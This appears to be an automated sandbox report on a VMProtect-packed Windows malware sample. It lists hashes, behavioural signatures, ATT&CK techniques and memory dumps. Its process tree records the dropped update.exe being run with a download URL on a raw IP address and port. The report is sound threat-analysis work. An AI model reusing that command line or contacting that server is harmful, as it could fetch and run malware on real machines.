ccda7994e140a412c4bcd8816b850545079c1e568e38d63b70d8de6ffe15497e

General

Target

ccda7994e140a412c4bcd8816b850545079c1e568e38d63b70d8de6ffe15497e.exe
Size

5.8MB
MD5

72aa0dbf54d8c3a47d3c3aa1bd875e1d
SHA1

00e272e32a1ea2ce5d1928525ed3b67e8969433a
SHA256

ccda7994e140a412c4bcd8816b850545079c1e568e38d63b70d8de6ffe15497e
SHA512

133f3391afcde20546b58254acafd2042dbc32ab262cccbb6063d6bcd8141859ee59476e39c18ca7cb52d1862287b098bde7ed540177a530b5e18b3d88002717
SSDEEP

98304:WRNDM/GMltzUmaMRZkD3utHxY5aF5+xwTQqqB/F2cCmgfamW9ejyDoYNP1oy:ONI/Go9ayZmyY5a6xwvqB/fEoEixoy

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
3060	update.exe

Loads dropped DLL 4 IoCs

pid	Process
2068	ccda7994e140a412c4bcd8816b850545079c1e568e38d63b70d8de6ffe15497e.exe
3060	update.exe
3060	update.exe
3060	update.exe

VMProtect packed file 3 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral1/memory/2068-34-0x0000000000400000-0x000000000105A000-memory.dmp	vmprotect
behavioral1/memory/2068-36-0x0000000000400000-0x000000000105A000-memory.dmp	vmprotect
behavioral1/memory/2068-50-0x0000000000400000-0x000000000105A000-memory.dmp	vmprotect

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ccda7994e140a412c4bcd8816b850545079c1e568e38d63b70d8de6ffe15497e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	update.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2068	ccda7994e140a412c4bcd8816b850545079c1e568e38d63b70d8de6ffe15497e.exe
2068	ccda7994e140a412c4bcd8816b850545079c1e568e38d63b70d8de6ffe15497e.exe
3060	update.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2068	ccda7994e140a412c4bcd8816b850545079c1e568e38d63b70d8de6ffe15497e.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
2068	ccda7994e140a412c4bcd8816b850545079c1e568e38d63b70d8de6ffe15497e.exe
2068	ccda7994e140a412c4bcd8816b850545079c1e568e38d63b70d8de6ffe15497e.exe
3060	update.exe
3060	update.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 2068 wrote to memory of 3060	2068	ccda7994e140a412c4bcd8816b850545079c1e568e38d63b70d8de6ffe15497e.exe	31
PID 2068 wrote to memory of 3060	2068	ccda7994e140a412c4bcd8816b850545079c1e568e38d63b70d8de6ffe15497e.exe	31
PID 2068 wrote to memory of 3060	2068	ccda7994e140a412c4bcd8816b850545079c1e568e38d63b70d8de6ffe15497e.exe	31
PID 2068 wrote to memory of 3060	2068	ccda7994e140a412c4bcd8816b850545079c1e568e38d63b70d8de6ffe15497e.exe	31
PID 2068 wrote to memory of 3060	2068	ccda7994e140a412c4bcd8816b850545079c1e568e38d63b70d8de6ffe15497e.exe	31
PID 2068 wrote to memory of 3060	2068	ccda7994e140a412c4bcd8816b850545079c1e568e38d63b70d8de6ffe15497e.exe	31
PID 2068 wrote to memory of 3060	2068	ccda7994e140a412c4bcd8816b850545079c1e568e38d63b70d8de6ffe15497e.exe	31

C:\Users\Admin\AppData\Local\Temp\ccda7994e140a412c4bcd8816b850545079c1e568e38d63b70d8de6ffe15497e.exe
"C:\Users\Admin\AppData\Local\Temp\ccda7994e140a412c4bcd8816b850545079c1e568e38d63b70d8de6ffe15497e.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2068
- C:\Users\Admin\AppData\Local\Temp\update.exe
  update.exe 1.2 ccda7994e140a412c4bcd8816b850545079c1e568e38d63b70d8de6ffe15497e.exe http://38.6.175.25:901/down http://38.6.175.25:901
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:3060

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

\Users\Admin\AppData\Local\Temp\update.exe

Filesize
868KB

MD5
ca57bdff74665a2a42a8cf4ad4593d9f

SHA1
7562003f808c469579227a01eca809539de5cc8d

SHA256
e5c30e02daa7c7178ee58f7f74f27a8ca4134ad736ba15cf34f863d8b70b2516

SHA512
c305958ba78172cdafe1cedb4cf7125641be05bdadc5233ad3c3cfad1ae13f4b8c91995cd12d9cec4a7087d33b4f9bff05a0f2c43b0540d06ad066d9d061ec24

Download Submit
memory/2068-22-0x0000000000280000-0x0000000000281000-memory.dmp

Filesize
4KB

Download
memory/2068-24-0x0000000000280000-0x0000000000281000-memory.dmp

Filesize
4KB

Download
memory/2068-5-0x0000000000250000-0x0000000000251000-memory.dmp

Filesize
4KB

Download
memory/2068-27-0x00000000002A0000-0x00000000002A1000-memory.dmp

Filesize
4KB

Download
memory/2068-4-0x0000000000230000-0x0000000000231000-memory.dmp

Filesize
4KB

Download
memory/2068-0-0x0000000000230000-0x0000000000231000-memory.dmp

Filesize
4KB

Download
memory/2068-19-0x0000000000270000-0x0000000000271000-memory.dmp

Filesize
4KB

Download
memory/2068-34-0x0000000000400000-0x000000000105A000-memory.dmp

Filesize
12.4MB

Download
memory/2068-14-0x0000000000260000-0x0000000000261000-memory.dmp

Filesize
4KB

Download
memory/2068-12-0x0000000000260000-0x0000000000261000-memory.dmp

Filesize
4KB

Download
memory/2068-9-0x0000000000250000-0x0000000000251000-memory.dmp

Filesize
4KB

Download
memory/2068-7-0x0000000000250000-0x0000000000251000-memory.dmp

Filesize
4KB

Download
memory/2068-29-0x00000000002A0000-0x00000000002A1000-memory.dmp

Filesize
4KB

Download
memory/2068-31-0x00000000007F0000-0x0000000000A84000-memory.dmp

Filesize
2.6MB

Download
memory/2068-17-0x0000000000270000-0x0000000000271000-memory.dmp

Filesize
4KB

Download
memory/2068-35-0x00000000007F0000-0x0000000000A84000-memory.dmp

Filesize
2.6MB

Download
memory/2068-36-0x0000000000400000-0x000000000105A000-memory.dmp

Filesize
12.4MB

Download
memory/2068-2-0x0000000000230000-0x0000000000231000-memory.dmp

Filesize
4KB

Download
memory/2068-40-0x00000000041E0000-0x00000000042D8000-memory.dmp

Filesize
992KB

Download
memory/2068-51-0x00000000007F0000-0x0000000000A84000-memory.dmp

Filesize
2.6MB

Download
memory/2068-50-0x0000000000400000-0x000000000105A000-memory.dmp

Filesize
12.4MB

Download
memory/3060-49-0x0000000000500000-0x00000000005F8000-memory.dmp

Filesize
992KB

Download
memory/3060-48-0x0000000000400000-0x00000000004F8000-memory.dmp

Filesize
992KB

Download
memory/3060-47-0x0000000000500000-0x00000000005F8000-memory.dmp

Filesize
992KB

Download
memory/3060-52-0x0000000000400000-0x00000000004F8000-memory.dmp

Filesize
992KB

Download

Analysis

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